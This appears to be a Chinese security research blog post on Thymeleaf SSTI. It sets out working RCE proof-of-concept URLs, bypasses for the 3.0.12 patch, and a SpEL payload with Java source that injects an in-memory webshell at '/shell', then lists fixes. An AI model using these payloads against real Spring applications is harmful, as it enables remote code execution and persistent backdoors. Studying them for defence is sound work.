Thymeleaf SSTI
2022-10-04 15:29:58

Thymeleaf 基础

在 html 文件中使用 Thymeleaf 需要先声明命名空间

<html xmlns:th="http://www.thymeleaf.org">

标签

Thymeleaf 提供了一些内置标签,通过标签来实现特定的功能

标签 作用 示例
th: id 替换 id <input th: id="${user.id}"/>
th: text 文本替换 <p text:="${user.name}">bigsai</p>
th: utext 支持 html 的文本替换 <p utext:="${htmlcontent}">content</p>
th: object 替换对象 <div th: object="${user}"></div>
th: value 替换值 <input th: value="${user.name}" >
th: each 迭代 <tr th: each="student:${user}" >
th: href 替换超链接 <a th: href="@{index.html}">超链接</a>
th: src 替换资源 <script type="text/javascript" th: src="@{index.js}"></script>

表达式

Thymeleaf 中以下几种表达式

表达式名字 语法 用途
变量取值 ${...} 获取请求域、session 域、对象等值
选择变量 *{...} 获取上下文对象值
消息 #{...} 获取国际化等值
链接 @{...} 生成链接
片段表达式 ~{...} jsp: include 作用,引入公共页面片段

Thymeleaf SSTI 是由片段表达式和预处理造成,所以重点说一下片段表达式

片段表达式

片段表达式可以用于引用公共的目标片段比如 footer 或者 header

在 templates 目录下新建一个 footer.html,内容如下

<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">

<body>
<div th:fragment="test">
    This is a test footer
</div>
</body>
</html>

在 index.html 中引用该片段

<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head>
    <meta charset="UTF-8">
    <title>Index Page</title>
</head>
<body>
<p>Hello Thymeleaf</p>
<div th:text="${name}"></div>
<div th:insert="~{footer::test}"></div>
</body>
</html>

最终效果如下

Pasted-image-20220920161707.png

片段表达式语法如下

  • ~{templatename:: selector}:会在 /WEB-INF/templates/ 目录下寻找名为 templatename 的模版中定义的 fragment,如上面的 ~{footer :: test} 就会从 footer.html 中寻找 test 片段
  • ~{templatename}:引用整个 templatename 模版文件作为 fragment
  • ~{:: selector}~{this:: selector},引用来自同一模版文件名为 selectorfragmnt

其中 selector 可以是通过 th: fragment 定义的片段,也可以是类选择器、ID 选择器等

~{} 片段表达式中出现 :: ,则 :: 后需要有值,也就是 selector

预处理

语法:__${expression}__

官方文档中对其解释如下

除了所有这些用于表达式处理的功能外,Thymeleaf 还具有预处理表达式的功能
预处理是在正常表达式之前完成的表达式的执行,允许修改最终将执行的表达式
预处理的表达式与普通表达式完全一样,但被双下划线符号(如 __${expression}__)包围

这也是出现 SSTI 问题的关键,预处理也可以解析执行表达式,也就是说找到一个可以控制预处理表达式的地方,让其解析执行我们的 payload 即可达到任意代码执行

漏洞复现

环境搭建

直接使用 Spring Boot 快速搭建一个漏洞环境,注意指定 Thymeleaf 的版本

在 pom.xml 中添加 Thymeleaf 并指定版本

<properties>
    <thymeleaf.version>3.0.11.RELEASE</thymeleaf.version>
</properties>

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>

templatename

Controller

@GetMapping("/path")
public String pathController(@RequestParam String payload) {
    return payload;
}

poc

/path?payload=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x

通过 __${}__::.x 构造表达式让 Thymeleaf 去执行

漏洞原理

由于 Controller 的返回值可控,返回结果为 __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::.x,这个结果会作为模板名称交给 Thymeleaf 模板引擎解析

ThymeleafView#renderFragment 方法中会判断模板名称中是否含有 :: ,如果包含了 :: 就会使用 ~{viewTemplateName} 包裹后传入 parseExpression 方法中

Pasted-image-20220920173315.png

一路跟进到 StandardExpressionParser#parseExpression(org.thymeleaf.context.IExpressionContext, java.lang.String, boolean) 方法中,这里面调用了预处理

Pasted-image-20220920173950.png

StandardExpressionPreprocessor#preprocess 方法中,使用正则表达式 \\_\\_(.*?)\\_\\_ 提取形如 __matcher__ 字符串的 matcher 部分

正则提取的部分作为 expression,调用其 execute 方法

Pasted-image-20220920175650.png

经过层层调用,最后会走到 SPELVariableExpressionEvaluator#evaluate 中,造成 SpEL 注入

Pasted-image-20220920180805.png

URI PATH

Controller

@GetMapping("/uri/{payload}")
public void uriController(@PathVariable String payload) {
    System.out.println(payload);
}

poc

/uri/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x

漏洞原理

从 Spring MVC 视图解析流程中可以知道,Controller 的返回值会作为视图名称被封装到 ModelAndView 对象中,但这里的 uriController 没有返回值也正常得到了 ModeAndView 对象

从 debug 的结果中也可以看到从 ha.handler 里返回的 ModeAndView 对象中 view 为 null

Pasted-image-20220920205624.png

另外可以看到 applyDefaultViewName 方法对 ModelAndView 对象做了处理,一路跟进到 DefaultRequestToViewNameTranslator#getViewName 方法

可以看到这里获取了请求的 URI,将其与前缀和后缀拼接后返回,在 DispatcherServlet#applyDefaultViewName 方法中被设置为 ModelAdnView 对象的视图名称

Pasted-image-20220920205935.png

之后的流程就与 templatename 部分几乎相同了

需要注意的是,使用上述 payload 拿到的 ViewName 是 uri/__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__:: ,在 :: 后面是没有 .x

这是因为在 DefaultRequestToViewNameTranslator#transformPath 方法中通过 StringUtils.stripFilenameExtension(path) 去掉了后缀,也就是 .x

Pasted-image-20220920213245.png

没有 .x 不影响最后的代码执行,但是会无回显,绕过方式也很简单

__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()%7d__::xxxxx.aaaaa

因为 StringUtils#stripFilenameExtension 方法只会去掉最后的 . 及其后面的内容,前面的 xxxxx 会被保留

3.0.12 的修复与绕过

检查视图名称

修改 pom.xml 中 Thymeleaf 的版本为 3.0.12.RELEASE,再使用刚才的 poc 打会有如下的报错

View name is an executable expression, and it is present in a literal manner in request path or parameters, which is forbidden for security reasons.

这是由于在 3.0.12 版本中,ThymeleafView#renderFragment 方法中,使用 SpringRequestUtils#checkViewNameNotInRequest 方法对请求路径与请求参数进行了检查,当这两者其中一个和传入的模板名称相同,就会抛出异常

Pasted-image-20220920222553.png

Pasted-image-20220920222621.png

所以只需要令 paramValue.contains(vn) 返回 false 就可以绕过这个检查

这里有两种绕过方式

  • ;/PAYLOAD
  • //PAYLOAD

第一种方式是因为在 SpringBoot 中,SpringBoot 有一个功能叫做矩阵变量,默认禁用,如果发现路径中存在分号,那么会调用 removeSemicolonContent 方法来移除分号

第二种方式是将多余的 / 去掉

需要注意的是这种绕过方式只适合 Restful 风格的 api 返回值存在路径拼接的 Controller

禁止 new 创建类和 T()创建静态类

SPELVariableExpressionEvaluator#getExpression 方法中新增了 SpringStandardExpressionUtils.containsSpELInstantiationOrStatic(spelExpression)) 来检查表达式中倒序检测是否包含 wen 关键字、在 ( 的左边的字符是否是 T,如包含,那么认为找到了一个实例化对象,返回 true,阻止该表达式的执行

public static boolean containsSpELInstantiationOrStatic(final String expression) {

    /*
     * Checks whether the expression contains instantiation of objects ("new SomeClass") or makes use of
     * static methods ("T(SomeClass)") as both are forbidden in certain contexts in restricted mode.
     */

    final int explen = expression.length();
    int n = explen;
    int ni = 0; // index for computing position in the NEW_ARRAY
    int si = -1;
    char c;
    while (n-- != 0) {

        c = expression.charAt(n);

        // When checking for the "new" keyword, we need to identify that it is not a part of a larger
        // identifier, i.e. there is whitespace after it and no character that might be a part of an
        // identifier before it.
        if (ni < NEW_LEN
                && c == NEW_ARRAY[ni]
                && (ni > 0 || ((n + 1 < explen) && Character.isWhitespace(expression.charAt(n + 1))))) {
            ni++;
            if (ni == NEW_LEN && (n == 0 || !Character.isJavaIdentifierPart(expression.charAt(n - 1)))) {
                return true; // we found an object instantiation
            }
            continue;
        }

        if (ni > 0) {
            // We 'restart' the matching counter just in case we had a partial match
            n += ni;
            ni = 0;
            if (si < n) {
                // This has to be restarted too
                si = -1;
            }
            continue;
        }

        ni = 0;

        if (c == ')') {
            si = n;
        } else if (si > n && c == '('
                    && ((n - 1 >= 0) && (expression.charAt(n - 1) == 'T'))
                    && ((n - 1 == 0) || !Character.isJavaIdentifierPart(expression.charAt(n - 2)))) {
            return true;
        } else if (si > n && !(Character.isJavaIdentifierPart(c) || c == '.')) {
            si = -1;
        }

    }

    return false;

}

因此要绕过这个函数,只要满足三点:

  1. 表达式中不能含有关键字 new
  2. ( 的左边的字符不能是 T
  3. 不能在 T( 中间添加的字符使得原表达式出现问题

参考 pandathreedr3am 两位师傅的文章,可以通过在 T(中间插入空格、换行等字符进行绕过

最后的 payload 可以如下

;/__$%7BT%20(java.lang.Runtime).getRuntime().exec(%22calc%22)%7D__::.x
//__$%7BT%20(java.lang.Runtime).getRuntime().exec(%22calc%22)%7D__::.x

注入内存马

前文提到,Thymeleaf SSTI 最后其实是 SpEL 注入,所以是可以考虑利用 SpEL 来注入内存马提高漏洞的可用性

这里参考 Spring cloud gateway 通过 SPEL 注入内存马 和 [[../01-Java/Spring 动态注入 Controller#registerMapping]],修改其中的payload

T(org.springframework.cglib.core.ReflectUtils).defineClass("SpringRequestMappingMemshell",T(org.springframework.util.Base64Utils).decodeFromUrlSafeString("SpringRequestMappingMemshell.class的UrlSafebase64编码"),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",0).getBean(T(Class).forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping")))

注意这个自定义的内存马的包名问题,否则可能会导致加载字节码失败

这里使用 URL safe base64 编码是因为正常的 base64 编码结果中可能会包含 /,导致在使用 GET 请求提交 payload 时,web 容器错误的将 / 解析为路径关键字

另外需要注意的是以上 payload 中用到了 java.net.URL[0],其中的 [] 等特殊字符,可能会导致 400,可以用 java.net.URL("http","127.0.0.1","1.txt") 进行替换

doInject 方法示例

public class SpringRequestMemShell {
    public static void doInject(Object mapping) {
        String msg = "start inject";
        try {
            System.out.println(msg);
            Method registerMapping = mapping.getClass().getDeclaredMethod("registerMapping", RequestMappingInfo.class, Object.class, Method.class);
            registerMapping.setAccessible(true);
            Method serviceMethod = SpringRequestMemShell.class.getDeclaredMethod("service", String.class);
            PatternsRequestCondition pattern = new PatternsRequestCondition("/shell");
            RequestMethodsRequestCondition methodsRequestCondition = new RequestMethodsRequestCondition();
            RequestMappingInfo requestMappingInfo = new RequestMappingInfo(pattern, methodsRequestCondition, null, null, null, null, null);
            registerMapping.invoke(mapping, requestMappingInfo, new SpringRequestMemShell(), serviceMethod);
            msg = "inject success";
        } catch (Exception e) {
            msg = "inject failed";
        }
        System.out.println(msg);
    }
}

修复方案

  • 配置 ResponseBody 或 RestController 注解
    如果设置 @ResponseBody 或者 @RestController,则不再调用模板解析

  • 设置 redirect 重定向
    根据 springboot 定义,如果名称以 redirect:开头,则不再调用 ThymeleafView 解析,调用 RedirectView 去解析 controller 的返回值

  • 方法参数中设置 HttpServletResponse 参数

    由于 controller 的参数被设置为 HttpServletResponse,Spring 认为它已经处理了 HTTP Response,因此不会发生视图名称解析

参考

https://www.anquanke.com/post/id/254519

https://xz.aliyun.com/t/10514

https://www.cnpanda.net/sec/1063.html

https://github.com/thymeleaf/thymeleaf-spring/issues/256

https://paper.seebug.org/1332/

https://xz.aliyun.com/t/11688

https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/